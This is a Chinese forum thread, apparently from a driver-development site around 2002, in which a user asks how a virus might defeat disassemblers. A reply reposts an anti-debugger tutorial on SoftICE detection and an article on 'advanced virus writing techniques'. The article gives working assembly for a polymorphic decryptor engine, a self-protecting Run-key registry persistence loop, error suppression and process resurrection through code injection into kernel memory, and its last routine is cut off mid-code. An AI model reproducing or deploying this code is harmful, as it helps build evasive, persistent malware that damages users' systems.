longge
驱动中牛
驱动中牛
  • 注册日期2002-07-10
  • 最后登录2005-06-16
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
阅读:12392回复:56

这个想法在我脑中已经很久了!

楼主#
更多 发布于:2002-07-11 16:21
各位病毒大侠,有没有人深入分析过反汇编工具代码,如果有一个
病毒,会先破坏如debug之类工具的机制,然后再发作,至于如何
破坏可以讨论一下,好像很难。在Linux下,我在英文手写输入法
可执行文件中加了管道使它可以识别中文,我们可以想一些办法,让
反汇编也找不到病毒!请各位指点!
除了记忆什么都带不走; 除了足迹什么都留不下。
VanCheer
驱动老牛
驱动老牛
  • 注册日期2002-02-21
  • 最后登录2003-08-28
  • 粉丝0
  • 关注0
  • 积分-20分
  • 威望-10点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2002-07-11 16:36
施主
1,反汇编肯定会看到病毒代码
2,你说的破坏debug,应该是反跟踪吧
[img]http://www.driverdevelop.com/forum/upload/VanCheer/2003-03-21_mon.gif[/img][img]http://www.driverdevelop.com/forum/upload/VanCheer/2002-12-07_smallbaby.jpg[/img]
longge
驱动中牛
驱动中牛
  • 注册日期2002-07-10
  • 最后登录2005-06-16
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2002-07-11 16:44
我没有特指某种方法,你说反汇编肯定会看到病毒代码,那我们
就想办法改这段代码,我不是说过我改了英文手写输入法可执行文件
使它能识别中文,不过要改需要深入分析反汇编的代码,花猫,你
看过吗?说来听听!
除了记忆什么都带不走; 除了足迹什么都留不下。
VanCheer
驱动老牛
驱动老牛
  • 注册日期2002-02-21
  • 最后登录2003-08-28
  • 粉丝0
  • 关注0
  • 积分-20分
  • 威望-10点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
地板#
发布于:2002-07-11 16:50
我没有特指某种方法,你说反汇编肯定会看到病毒代码,那我们
就想办法改这段代码,我不是说过我改了英文手写输入法可执行文件
使它能识别中文,不过要改需要深入分析反汇编的代码,花猫,你
看过吗?说来听听!
 

1,贫僧没看过
2,反汇编就是从程序入口开始把代码反汇编过来。
如果能很好隐藏病毒入口,那么可以在一定程度上阻止反汇编,但不能完全阻止。
[img]http://www.driverdevelop.com/forum/upload/VanCheer/2003-03-21_mon.gif[/img][img]http://www.driverdevelop.com/forum/upload/VanCheer/2002-12-07_smallbaby.jpg[/img]
longge
驱动中牛
驱动中牛
  • 注册日期2002-07-10
  • 最后登录2005-06-16
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2002-07-11 16:57
说得没错,但是“从程序入口开始把代码反汇编过来”是要用
一段代码去实现啊,我是说去改这段代码,当然这困难重重,
还需同志们多多努力!
除了记忆什么都带不走; 除了足迹什么都留不下。
lyabcd
驱动大牛
驱动大牛
  • 注册日期2001-08-09
  • 最后登录2015-10-01
  • 粉丝0
  • 关注0
  • 积分33分
  • 威望4点
  • 贡献值0点
  • 好评度3点
  • 原创分0分
  • 专家分0分
5楼#
发布于:2002-07-11 17:01
楼上老兄你好,请教一下linux下的跟踪反汇编工具除了gcc有没有类似softice的?
datongguandian@sina.com
VanCheer
驱动老牛
驱动老牛
  • 注册日期2002-02-21
  • 最后登录2003-08-28
  • 粉丝0
  • 关注0
  • 积分-20分
  • 威望-10点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
6楼#
发布于:2002-07-11 17:06
说得没错,但是“从程序入口开始把代码反汇编过来”是要用
一段代码去实现啊,我是说去改这段代码,当然这困难重重,
还需同志们多多努力!

faint!
Linux我不知道,起码在Windows下SoftIce、IDA、WinDsm都能反汇编,你怎么改它们???
你难道想改反汇编软件?不现实!
[img]http://www.driverdevelop.com/forum/upload/VanCheer/2003-03-21_mon.gif[/img][img]http://www.driverdevelop.com/forum/upload/VanCheer/2002-12-07_smallbaby.jpg[/img]
lyabcd
驱动大牛
驱动大牛
  • 注册日期2001-08-09
  • 最后登录2015-10-01
  • 粉丝0
  • 关注0
  • 积分33分
  • 威望4点
  • 贡献值0点
  • 好评度3点
  • 原创分0分
  • 专家分0分
7楼#
发布于:2002-07-11 17:16
转贴两篇文章,linux也应该有类似思路




1:
anti-debuggers技术探讨

   “anti-”一词在E文中是表示“反对, 抵抗”之义的前缀,而“debugger”是泛指各种调试(出错)器,包括大家熟悉的softice、TRW2000及DOS下的debug、turbodebug,还包括一些大家不是很熟悉的监测分析工具等等,凡是能够对应用程序进行动态跟踪分析、调试、监测的软件都可以称作“debugger”。所谓“anti-debuggers”技术,顾名思义就是防止、防范这类工具起作用的技术,简而言之就是反调试、反跟踪技术。

   为什么会有“anti-debuggers”技术的存在?它有什么作用呢?我们知道,世界上的事物总是对立与统一的结合,就像矛与盾的关系,有矛就有盾,失去了矛,盾也就没有存在的必要了。有人开发各种软件,为了防止别人未经授权擅自使用,于是在程序中使用了加密防范技术,使得任何其它人想要使用它都必须得到作者的许可,可是偏偏就有那么一些人(cracker)秉承“share”的理念,非要靠自己的技术在特殊工具的帮助下亲自动手来揭开“潘多拉盒子”之谜,于是加密者发现自己的东西被别人“窃取”,所以就要想出对付那些特殊工具、使它们失去作用的技术,这就是“anti-debuggers”技术产生的根源。现在破解早已不是什么隐晦的事情了,各种debuggers为这种技术的实现奠定了基础,特别是像softice这种大哥级的人物,只要想起它,加密者心里都会抖一抖,但是任何debugger本身也只不过是一个程序而已,它有自己的运行方式,有自己的弱点,有被别人当作漏洞的地方,这就是“anti-debuggers”技术产生的基础。

   讲了这么多,是不是觉得有点形而上学呢?也许你会问,我怎么知道什么样的程序使用了“anti-debuggers”技术呢?其实也没有什么确定的方法来判断应用程序是否使用了“anti-debuggers”技术,不过我们始终要注意一点,那就是“anti-debuggers”技术的目的主要是防止debugger的跟踪、分析及调试,所以首先是要想办法发现系统中存在的debuggers,然后采取行动阻止debuggers起作用,其表现无非就是出现异常死机、系统异常重启、异常错误、错误警告、软件自毁、更严重的还会破坏文件甚至大肆破坏系统。。。等等非常可怕的行为。当然,不是说凡是破解中遇到这些情况就一定说明程序使用了“anti-debuggers”技术,首先你要排除异常的情况是否是由系统不稳定或是被跟踪的程序“正常”抛出的,如果你的调试器本身不稳定而导致系统异常,那就没办法了。不过值得庆幸的是如果你使用softice,通常不会有什么问题的,因为softice真的是稳定无比,就像泰山一样,而其它的调试器就不敢恭维了^_^!不过正是由于softice实在太强大,因而现在的“anti-debuggers”技术主要是冲着它来的。在排除“正常”的错误之后,如果有条件的话,我们还可以通过改变跟踪系统、环境及电脑的方法来重演错误事件,如果问题依旧,应该可以肯定是中了“anti-debuggers”技术的陷井。

   下面给大家介绍一些常用的“anti-debuggers”技术(主要是debugger的检测技术):

1. 利用softice的后门指令(Back Door commands):

  后门指令通过中断INT 03来进行,通过softice的后门指令可以获得softice版本信息、获得和设置断点、执行softice中的指令等。。。

-----------------------------------------------------------------------------------------------
INT 03 子功能:获取softice版本信息
入口参数:
-AX = 0000h
-SI = 4647h (\'FG\')
-DI = 4A4Dh (\'JM\')

返回值:BCD版本号(如0280h = v2.80)
-----------------------------------------------------------------------------------------------
INT 03 子功能:弹出softice窗口并开始调试程序
入口参数:
-AX = 0902h
-SI = 4647h (\'FG\')
-DI = 4A4Dh (\'JM\')
-DS:BX -> 寄存器初始化值
返回值:未知

寄存器初始化值的格式:
偏移 大小 内容
00h WORD SP初始化值
02h WORD SS初始化值
04h WORD IP初始化值
06h WORD CS初始化值
08h WORD DS和ES初始化值
0Ah WORD ???
0Ch WORD ???
0Eh WORD ???
10h WORD AX初始化值
12h WORD ??? (默认为000AH ???)
14h WORD ??? (默认为0001H ???)
16h WORD ??? (默认为0100H ???)
-----------------------------------------------------------------------------------------------
INT 03 子功能:在softice窗口中显示字符串
入口参数:
-AX = 0910h
-SI = 4647h (\'FG\')
-DI = 4A4Dh (\'JM\')
-DS:DX -> 需要显示的ASCIZ字符串(最多100个字节, 0Dh表示OK)
返回值:无 (在softice中显示的字符串为“Soft-ICE is a debugger by Nu-Mega Technologies, Inc.”)
-----------------------------------------------------------------------------------------------
INT 03 子功能:执行softice中的命令
入口参数:
-AX = 0911h
-SI = 4647h (\'FG\')
-DI = 4A4Dh (\'JM\')
-DS:DX -> ASCIZ命令字符串(最多100个字节, 0Dh表示OK,例如:“HBOOT”,ODH,0)
返回值:无
说明:这里的所说的命令可以是我们在softice中使用的任何一个命令,例如:LDT, IDT, GDT, TSS, RS ...
甚至是HBOOT,总之,通过这个功能调用,使用“anti-debuggers”技术的程序能够完全控制softice的操作,
比如它如果执行HBOOT,那么结果就是重新启动系统了!!!
-----------------------------------------------------------------------------------------------
INT 03 子功能:获取softice断点信息
入口参数:
-AX = 0912h
-SI = 4647h (\'FG\')
-DI = 4A4Dh (\'JM\')
返回值:
-BH = 上一次断点设置的入口序号
-BL = 上一次断点设置的类型
-DH = 上一次被触发的断点的入口序号
-DL = 上一次被触发的断点的类型

断点类型值:
00h BPM (断点寄存器类型)
01h I/O
02h INTerrupt
03h BPX (INT 03形式的断点)
04h reserved
05h range
-----------------------------------------------------------------------------------------------
INT 03 子功能:设置softice断点
入口参数:
-AX = 0913h
-SI = 4647h (\'FG\')
-DI = 4A4Dh (\'JM\')
-DS:DX -> 断点结构(breakpoint structure)
返回值:
-AX = 状态
00h 设置成功,此时BX = 断点序号
03h 断点表已经满
06h 内存限制错误
07h I/O限制错误
09h 范围限制错误
16h 重复断点
-----------------------------------------------------------------------------------------------
INT 03 子功能:清除softice断点
入口参数:
-AX = 0914h
-SI = 4647h (\'FG\')
-DI = 4A4Dh (\'JM\')
-BX = 断点序号(由子功能0913h返回的)
返回值:BX(未知信息)
-----------------------------------------------------------------------------------------------

  我们可以看到,每个子功能的入口参数都有相同的部分:即SI = 4647h (\'FG\');DI = 4A4Dh (\'JM\'),这两个入口值在softice中叫做“魔法值”(magic values),凡是softice的后门指令都必须以这两个数为标志。
  利用softice的后门指令是非常常用的“anti-debuggers”技术,因为所谓后门指令其实也就是softice自己所使用的,它不仅可以获取softice的信息,甚至可以随意控制softice的操作,威力无比!

2. 搜索由任何系统调试器所返回的魔法数-->0F386h(magic number),通过调用INT 41H的子功能4Fh实现,有下面的一些方式:

-----------------------------------------------------------------------------------------------
  mov ax,4fh
  int 41h
  cmp ax, 0F386
  jz SoftICE_detected
-----------------------------------------------------------------------------------------------
  mov bx, cs
  lea dx, int41handler2
  xchg dx, es:[41h*4]
  xchg bx, es:[41h*4+2]
  mov ax,4fh
  int 41h
  xchg dx, es:[41h*4]
  xchg bx, es:[41h*4+2]
  cmp ax, 0f386h
  jz SoftICE_detected

int41handler2 PROC
  iret
int41handler2 ENDP
-----------------------------------------------------------------------------------------------
  xor ax,ax
  mov es,ax
  mov bx, cs
  lea dx, int41handler
  xchg dx, es:[41h*4]
  xchg bx, es:[41h*4+2]
  in al, 40h
  xor cx,cx
  int 41h
  xchg dx, es:[41h*4]
  xchg bx, es:[41h*4+2]
  cmp cl,al
  jnz SoftICE_detected

int41handler PROC
  mov cl,al
  iret
int41handler ENDP
-----------------------------------------------------------------------------------------------
  这个方法不只是针对softice,而是所有任意的系统调试器(debugger),因此效果比较明显,也比较常用。

3. 通过中断INT 68H检测WinICE句柄:

-----------------------------------------------------------------------------------------------
  mov ah,43h
  int 68h
  cmp ax,0F386h
  jz SoftICE_Detected
-----------------------------------------------------------------------------------------------
  注意:在softice中我们是不能通过 BPINT 68 来设置断点的,但是可以通过另外一个命令实现:BPX exec_int if ax==68,其中被调用的函数位于[ebp+1Dh],客户EIP(client eip)位于[ebp+48h],这个断点设置方法只对32位应用程序有效;

4. 利用WINDOWS的API函数CreateFileA来试图打开调试器的驱动程序句柄,这就是著名的“MeltICE”方法,NuMega公司的人用这个方法来使Symbol Loader检查softice是否已经激活 (这段代码位于nmtrans.dll中),虽然这个方法最初来源于softice,但是它对其它类型的debugger检测依然有效,调试器的驱动程序句柄有如下一些例子:

  SICE, SIWVID (对应softice Win9x版)
  NTICE (对应softice WinNT版)
  TRW、TRW2000、TRDEBUG (对应TRWIN)
  REGVXD (对应Registry Monitor)
  VKEYPRO (我也不知道这个对应什么程序^_^)
  FILEVXD (对应File Monitor)
  。。。

  具体检测方法可以用下面的程序来说明:
BOOL IsSoftIce95Loaded()
{
  HANDLE hFile;
  hFile = CreateFile( \"\\\\\\\\.\\\\SICE\", GENERIC_READ | GENERIC_WRITE,
           FILE_SHARE_READ | FILE_SHARE_WRITE,
           NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if( hFile != INVALID_HANDLE_VALUE )
  {
   CloseHandle(hFile);
   return TRUE;
  }
  return FALSE;
}

  对应于汇编代码的检测程序如下面所示:
  push 。。。 ;
  push 00402025 ; \'\\\\.\\SICE\',0
  call CreateFileA
  cmp eax,-001
  jnz SoftICE_detected

  对于16位应用程序或是兼容16位的应用程序来说,它们并不支持API函数CreateFileA,而使用的是16位的_lopen函数:
  push 00
  mov eax,[00656634] ; \'\\\\.\\SICE\',0
  push eax
  call KERNEL32!_lopen
  inc eax
  jnz SoftICE_detected

为了检测这些检测程序,我们可以在softice中通过下面的断点来拦截它们:
  BPX CreateFileA if *(esp->4+4)==\'SICE\' || *(esp->4+4)==\'SIWV\' || *(esp->4+4)==\'NTIC\'
  BPINT 30 if eax==002A001F && (*edi==\'SICE\' || *edi==\'SIWV\') ; 将会中断3次
  BPINT 30 if (*edi==\'SICE\' || *edi==\'SIWV\')
  BPX KERNEL32!ORD_0001 if *edi==\'SICE\' || *edi==\'SIWV\' ; 将会中断3次
  BPX VMM_GetDDBList if eax->3==\'SICE\' || eax->3==\'SIWV\'

5. 利用softice的边界检查签名(The signature of BoundsChecker):

-----------------------------------------------------------------------------------------------
  mov ebp, 4243484Bh ; \'BCHK\'
  mov ax, 04h
  int 3
  cmp al,4
  jnz SoftICE_Detected
-----------------------------------------------------------------------------------------------

  这个方法被大量地使用在网上各种加壳、加密软件中;

6. 搜索softice虚拟设备驱动程序的ID值(ID of SoftICE VxD),通过调用INT 2FH的子功能1684h实现:

-----------------------------------------------------------------------------------------------
  xor di,di
  mov es,di
  mov ax, 1684h
  mov bx, 0202h ; 搜索winice的VxD ID
  int 2Fh
  mov ax, es ; ES:DI 指向 VxD API 入口点
  add ax, di
  test ax,ax
  jnz SoftICE_Detected
-----------------------------------------------------------------------------------------------
  xor di,di
  mov es,di
  mov ax, 1684h
  mov bx, 7a5Fh ; 搜索SIWVID的VxD ID
  int 2fh
  mov ax, es ; ES:DI 指向 VxD API 入口点
  add ax, di
  test ax,ax
  jnz SoftICE_Detected
-----------------------------------------------------------------------------------------------
  这种方法用得较少;

7. 下面的方法同样也是检测softice的VxD ID来判断它是否已经装入系统,不过使用的不是中断:

-----------------------------------------------------------------------------------------------
  mov eax, Device_ID ; softice的VxD ID,对应SICE等于202h;对应SIWVID,等于07a5Fh;
  mov edi, Device_Name ; VxD名字,针对于没有VxD ID的情况,不过对于我们讨论的问题老说是没有意义的;
  VMMCall Get_DDB
  mov [DDB], ecx ; 如果VXD没有安装,ECX返回0,否则返回DDB
-----------------------------------------------------------------------------------------------
  VMMCall Test_Debug_Installed
  je not_installed
-----------------------------------------------------------------------------------------------
  这种方法只适用于系统0级(ring0),即虚拟设备驱动程序VxD或者是使用VxdCall的ring3应用程序;Get_DDB服务功能用来检查指定的设备是否安装,如果安装,则将设备描述块地址返回到ECX中;我们可以很容易的在softice中通过断点:bpx Get_DDB if ax==0202 || ax==7a5fh 来找到这个检测程序处;

8. 下面的方法通过VxDCall的后门(backdoor)来检测系统中是否安装了任何性质的调试器:

-----------------------------------------------------------------------------------------------
  push 0000004fh ; 功能号为4fh
  push 002a002ah ; 高位字指定是哪一个VxD (VWIN32)
           ; 低位字指定使用什么服务(VWIN32_Int41Dispatch)
  call Kernel32!ORD_001 ; VxdCall
  cmp ax, 0f386h ; 系统调试器返回的魔法数(magic number)
  jz SoftICE_detected
-----------------------------------------------------------------------------------------------
  这种方法因为使用了VxdCall,所以只能在Windows 95/98中使用(NT不支持VxD),为了检测这种方法,我们可以在softice中通过下面的断点来拦截它:
BPINT 41 if ax==4f
BPINT 30 if ax==0xF386 ;
BPX Exec_PM_Int if eax==41 && edx->1c==4f && edx->10==002A002A
BPX Kernel32!ord_0001 if esp->4==002A002A && esp->8==4f ; 非常非常慢!!!

9. 通过注册表中的键值来直接检测是否安装了softice,不过并不能知道softice是否是激活的(即是否在内存中):

  -#1: HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SoftICE
  -#2: HKEY_LOCAL_MACHINE\\Software\\NuMega\\SoftICE
  -#3: HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Loader32.Exe
  -#4: HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\NTice

  某些应用程序发现了注册表中的softice键值后会直接将其删掉,从而破还已经安装好的softice,在softice中可以用断点:BPX _regopenkey if *(esp->8+0x13)==\'tICE\' || *(esp->8+0x37)==\'tICE\'来拦截这种检测;

10. 通过对整个内存范围对softice特征字符串的搜查来判断softice是否已经安装并激活,下面是个例子:

-----------------------------------------------------------------------------------------------
DATA_SICE  DB    67h,66h,8bh,06h,0fh,22h,0d8h,26h,67h,66h
       DB    8bh,46h,04h,66h,26h,67h,0fh,01h,10h
DATA_SICE_END

assume cs:code,ds:code

  mov si,offset DATA_SICE
  mov dx,cs
  mov al,26h
  xor bp,bp
  cld
loop1:
  mov es,bp
  mov cx,100h
  xor di,di
loop2:
  repnz scasb
  jnz loop3
  push cx
  push si
  push di
  mov cx,offset DATA_SICE_END-offset DATA_SICE
  repz cmpsb
  jz SoftICE_detected
  pop di
  pop si
  pop cx
  jmp short loop2
loop3:
  add bp,10h
  cmp bp,dx
  jb loop1
not_found:
  。。。
-----------------------------------------------------------------------------------------------

11. 通过改变DOS中断调用的25H/35H来设置改变原有的中断服务程序(主要是INT 01H和INT 03H),使系统崩溃,这个方法只是搞破坏,防止任何形式的对程序的非正常中断,因为程序已经改变了INT 01或INT 03中断服务程序,使得我们使用调试器设置断点或使用其它任何需要改变这两个中断的应用程序时系统直接崩溃或死机,而不管是否这个断点是如何产生的,甚至是正常程序出于正常需要的使用也不允许:

-----------------------------------------------------------------------------------------------
  mov ah, 25h
  mov al, Int_Number (主要是INT 01H和INT 03H)
  mov dx, offset New_Int_Routine
  int 21h
-----------------------------------------------------------------------------------------------
  这种方法本人曾经领教过,确实是很厉害,只要一设置断点,马上死机,不过多少显得有点不道德,为什么这样说呢?因为假如中断并不是由于debugger产生,而是某些应用程序出于自身需要而产生的,这也要死机,大家有没有感觉有些强盗逻辑的味道呢!


  上面介绍了这么多的“anti-debuggers”技术,我想以后再碰到这样的情况就不会那么头晕了吧!不过你肯定会问既然有如此多的“anti-debuggers”技术,那么我们如何去防范它们呢?一般说来有三种方法可以试一下:

  第一、也是最简单易行的办法--采用专门的防止“anti-debuggers”技术的工具,比较有名的就是FrogsICE,用它对付大部分含有“anti-debuggers”技术的应用程序是没有什么问题的,其具体的使用方法请参阅主页上“破解教学”中的“FrogsICE使用指南”;
  第二、通过对程序的静态分析(如用反编译工具W32DASM分析程序代码),找到其中“anti-debuggers”代码部分,然后用编辑工具(如HIEW)修改程序,使其“anti-debuggers”代码失效;不过这种方法对于加壳的程序来说没有用处,因为加壳的程序是不能进行静态分析的,我们可以先脱壳,然后再用反编译工具进行分析;
  第三、在对程序的动态跟踪过程中和程序斗法,动态发现、找到“anti-debuggers”代码的位置,然后将其歼灭,对于断点的设置前面针对不同的“anti-debuggers”技术已经分别讨论过了。这种方法难度较大,可有些时候却是唯一的办法,需要有很大的耐心(面对无数次的死机、蓝屏。。。)!

  最后,有关于上面所提到的中断的更详细信息,请参阅主页上“汇编语言”中的“中断大全”,里面有更多更详细的相关中断功能介绍。

http://ddcrack.yeah.net/



2
病毒的高级编写技巧(WSS-SourceCode-02004)

Author:  whg
Email:   whg@whitecell.org
Homepage:http://www.whitecell.org
Date:    2002-05-24


1、超级病毒变形引擎

此段代码会在DATA段内生成一个解密代码。

.586p
.model flat,STDCALL
extrn ExitProcess: proc
VirusSize=100h
.data

DecodeMethod dd ?
DeCode:
pushad
call Encode
db 100h dup(11h)
Encode:
db 100h dup(0cch)
RndReg0 dd 0 ;eax
RndReg1 dd 0 ;ebx
RndCode dd 0 ;Rnd Code
RndMima dd 60932561 ;Rnd Password

.code
@@Start:
mov eax,RndMima
ror eax,7
mov RndCode,eax

mov eax,RndCode
mov ecx,eax
and eax,011b
mov RndReg0,eax
xor ecx,RndMima
and ecx,011b
cmp eax,ecx
jnz short ChooseRegOk
inc ecx
and ecx,011b
ChooseRegOk:
mov RndReg1,ecx


mov edi,offset Encode

ror RndCode,1
call GetBxCode,0,RndReg0,RndCode
mov esi,eax
ContFillStep0:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep0
dec edi

ror RndCode,1
call GetBxCode,1,RndReg1,RndCode
mov esi,eax
ContFillStep1:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep1
dec edi

mov ebx,edi ;//计算机Jmp指令用

ror RndCode,1
call GetBxCode,2,RndReg0,RndCode
mov esi,eax
ContFillStep2:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep2
dec edi

mov eax,RndMima
mov [edi-4],eax ;//填写随机密码
mov eax,RndCode
and eax,01
mov DecodeMethod,eax ;//填写DeCode方法

ror RndCode,1
call GetBxCode,3,RndReg0,RndCode
mov esi,eax
ContFillStep3:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep3
dec edi

ror RndCode,1
call GetBxCode,4,RndReg1,RndCode
mov esi,eax
ContFillStep4:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep4
dec edi

ror RndCode,1
call GetBxCode,5,RndReg0,RndCode
mov esi,eax
ContFillStep5:
cld
lodsb
stosb
cmp al,0cch
jnz ContFillStep5
dec edi

mov al,0c3h
mov [edi],al ;//填写Ret指令

sub ebx,edi
mov [edi-1],bl ;//填写jmp指令

int 3;

jmp DeCode
ret
GetBxCode proc uses ebx ecx edx esi edi,Step:dword,Reg:dword,Rnd:dword
call GetBxCodeAddr
Step0_Eax:
mov eax,[esp]
int 3;
pop eax
push eax
int 3;
Step0_Ebx:
pop ebx
push ebx
int 3;
push dword ptr[esp]
pop ebx
int 3;
Step0_Ecx:
mov ecx,[esp]
int 3;
pop ecx
push ecx
int 3;
Step0_Edx:
mov edx,[esp]
int 3;
mov edx,esp
mov edx,[edx]
int 3

Step1_Eax:
mov eax,VirusSize
int 3
sub eax,eax
add ax,VirusSize+3081h
sub ax,3081h
int 3
Step1_Ebx:
mov ebx,VirusSize
int 3;
xor ebx,ebx
or bx,VirusSize
int 3;
Step1_Ecx:
sub ecx,ecx
xor ecx,(VirusSize xor 3181h)
xor ecx,(3181h)
int 3;
mov ecx,0
and cx,VirusSize
int 3
Step1_Edx:
and edx,0
xor dx,(VirusSize-0281h)
add dx,0281h
int 3;
xor edx,edx
sub edx,(0181h-VirusSize)
sub edx,-0181h
int 3;

Setp2_Eax:
xor [eax],12345678h
int 3
add [eax],12345678h
int 3
Setp2_Ebx:
xor [ebx],12345678h
int 3;
add [ebx],12345678h
int 3;

Setp2_Ecx:
xor [ecx],12345678h
int 3;
add [ecx],12345678h
int 3;
Setp2_Edx:
xor [edx],12345678h
int 3;
add [edx],12345678h
int 3;
Step3_Eax:
add eax,4
int 3
inc eax
inc eax
inc eax
inc eax
int 3;
Step3_Ebx:
add ebx,5
dec ebx
int 3
add ebx,2
add ebx,2
int 3;
Step3_Ecx:
sub ecx,-4
int 3
sub ecx,-5
dec ecx
int 3;
Step3_Edx:
inc edx
sub edx,-3
int 3
add edx,04
int 3;

Step4_Eax:
sub eax,4
int 3
dec eax
dec eax
dec eax
sub eax,1
int 3;
Step4_Ebx:
dec ebx
sub ebx,3
int 3;
dec ebx
dec ebx
sub ebx,2
int 3;
Step4_Ecx:
add cx,123
sub cx,123+4
int 3
sub cx,-4
dec cx
sub cx,7
int 3
Step4_Edx:
sub dx,2
dec dx
sub dx,1
int 3
inc edx
sub dx,5
int 3;
Step5_Eax:
jnz $
int 3
ja $
int 3
Step5_Ebx:
jg $
int 3
jnb $
int 3
Step5_Ecx:
jnl $
int 3
jnz $
int 3
Step5_Edx:
ja $
int 3
jg $
int 3

GetBxCodeAddr:
pop esi
mov al,0cch ;//指令分割符
mov ecx,Step
shl ecx,1
shl ecx,1
add ecx,Reg ;//计算机得到的指令位置
shl ecx,1
and Rnd,01b
add ecx,Rnd
jcxz short GetBxCodeOver
ContFindCode:
push ecx
ContFindCC:
inc esi
cmp [esi],al
jnz ContFindCC
pop ecx
loop ContFindCode
mov eax,esi
inc eax
ret
GetBxCodeOver:
mov eax,esi
ret
GetBxCode endp


end @@Start


2、Windows 9x/2000/xp 琐定注册表

.586p
.model flat,STDCALL
.data

HKeyStr db \'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\',0
ValueName db \'wap32\',0
PathName db \'wap32.exe\',0

.code

extrn RegOpenKeyA: proc
extrn RegSetValueExA: proc
extrn RegCloseKey: proc
extrn ExitProcess: proc
extrn RegNotifyChangeKeyValue: proc
extrn CreateThread: proc
extrn Sleep: proc
extrn RegQueryValueExA: proc

start:
push eax
call RegOpenKeyA,080000002h,offset HKeyStr,esp
pop ebx
call RegSetValueExA,ebx,offset ValueName,0,01,offset PathName,100h

sub esp,100h
mov eax,esp
push 100h
call RegQueryValueExA,ebx,offset ValueName,0,0,eax,esp
pop eax
add esp,100h

push eax
call CreateThread,0,0,offset RegProtectProc,ebx,0,esp
pop eax
call Sleep,1000*60*3
ret

RegProtectProc proc hKey:dword
mov ebx,hKey
sub esp,100h
mov edi,esp
call GetProtectKeyName
db \'wap32\',0
GetProtectKeyName:
pop esi
push 100h
call RegQueryValueExA,ebx,esi,0,0,edi,esp
pop eax
WaitRegChangeNotify:
call RegNotifyChangeKeyValue,ebx,0,4,0,0
call RegSetValueExA,ebx,esi,0,01,edi,100h
jmp short WaitRegChangeNotify
RegProtectProc endp

end start



3、 Windows 9x/2000 意外处理通用程序


此段程序可以达到屏蔽程序错误的效果

include wap32.inc

.386p
.model flat,stdcall

extrn MessageBoxA: proc
extrn ExitProcess: proc

.data

Msg db \'Fuck\',0

SetSehFrame: ;ecx=忽略错误继续执行地址
pop eax ;弹出返回地址
push ecx ;保存忽略错误继续执行地址
call PushExceptionProc
jmp short Exception
PushExceptionProc:
push fs:dword ptr[0]
mov fs:[0],esp
call GetEspAddr
push D [edx] ;保存原Esp地址值
mov [edx],esp
jmp eax
ClearSehFrame:
pop eax ;弹出返回地址
call GetEspAddr
mov esp,[edx]
pop D [edx] ;恢复原Esp地址值
pop fs:dword ptr[0]
pop ecx
pop ecx ;弹出忽略错误继续执行地址
jmp eax

Exception proc pRecord,pFrame,pContext,pDispatch
call PushSehBackProc
call ClearSehFrame
jmp ecx
PushSehBackProc:
pop ecx
mov eax,pContext
mov [eax.cx_Eip],ecx
xor eax,eax ;忽略错误继续执行
ret
Exception endp

GetEspAddr:
call PushOffsetEspAddr
dd ?
PushOffsetEspAddr:
pop edx
ret


.code

Start:
call PushErrorProc
call MessageBoxA,0,offset Msg,offset Msg,0
ret
PushErrorProc:
pop ecx
call SetSehFrame
mov ds:[0],eax
call ClearSehFrame
ret


end Start



4、Windows 9x 下进程不死术

此段程序首先实现Win9x下注射远程线程(新技术)
然后与Win2k下进程不死术一样了。
include Win32.inc

.386p
.model flat,stdcall

extrn GetProcAddress: proc
extrn WinExec: proc
extrn MessageBoxA: proc
extrn Sleep: proc
extrn GetCurrentProcessId: proc
extrn OpenProcess: proc
extrn GetCurrentProcess: proc
extrn WriteProcessMemory: proc
extrn GetExitCodeProcess: proc

.data

;问题,要Sleep()这样做使Kernel32有机会更新数据
KnlThread proc ProcID:dword
call GetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
pop eax
call [eax],PROCESS_ALL_ACCESS,FALSE,ProcID
or eax,eax
jz short ExitProtectProc
mov ebx,eax
call GetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
pop eax
call [eax],ebx,-1h
call GetFileNameAddress
GetFileNameAddress:
pop ecx
add ecx,offset FileName-offset GetFileNameAddress
call GetKnlWinExec
KnlWinExec dd ?
GetKnlWinExec:
pop eax
call [eax],ecx,01
ExitProtectProc:
ret
KnlThread endp

FileName db \'c:\\wap32.exe\',0

KnlOpenProcessStr db \'OpenProcess\',0
KnlWaitForObjectStr db \'WaitForSingleObject\',0
KnlWinExecStr db \'WinExec\',0
KnlSleepStr db \'Sleep\',0
KnlCreateKnlThreadStr db \'CreateKernelThread\',0

.code

Start:
call GetProcAddress,0bff70000h,offset KnlOpenProcessStr
mov KnlOpenProcess,eax
call GetProcAddress,0bff70000h,offset KnlWaitForObjectStr
mov KnlWaitForSingleObject,eax
call GetProcAddress,0bff70000h,offset KnlWinExecStr
mov KnlWinExec,eax

call MoveDataToKnl,offset Start,0bff70600h,100h

call GetProcAddress,0bff70000h,offset KnlCreateKnlThreadStr
mov ebx,eax
call GetCurrentProcessId
push eax
call ebx,0,0,0bff70000h+600h,eax,0,esp
pop eax
call MessageBoxA,0,offset FileName,offset FileName,0
ret

MoveDataToKnl proc uses ebx esi edi,Src:dword,Des:dword,nCx:dword
push eax
sidt [esp-2]
pop eax
add eax,3*8
mov ebx,[eax]
mov edx,[eax+4]
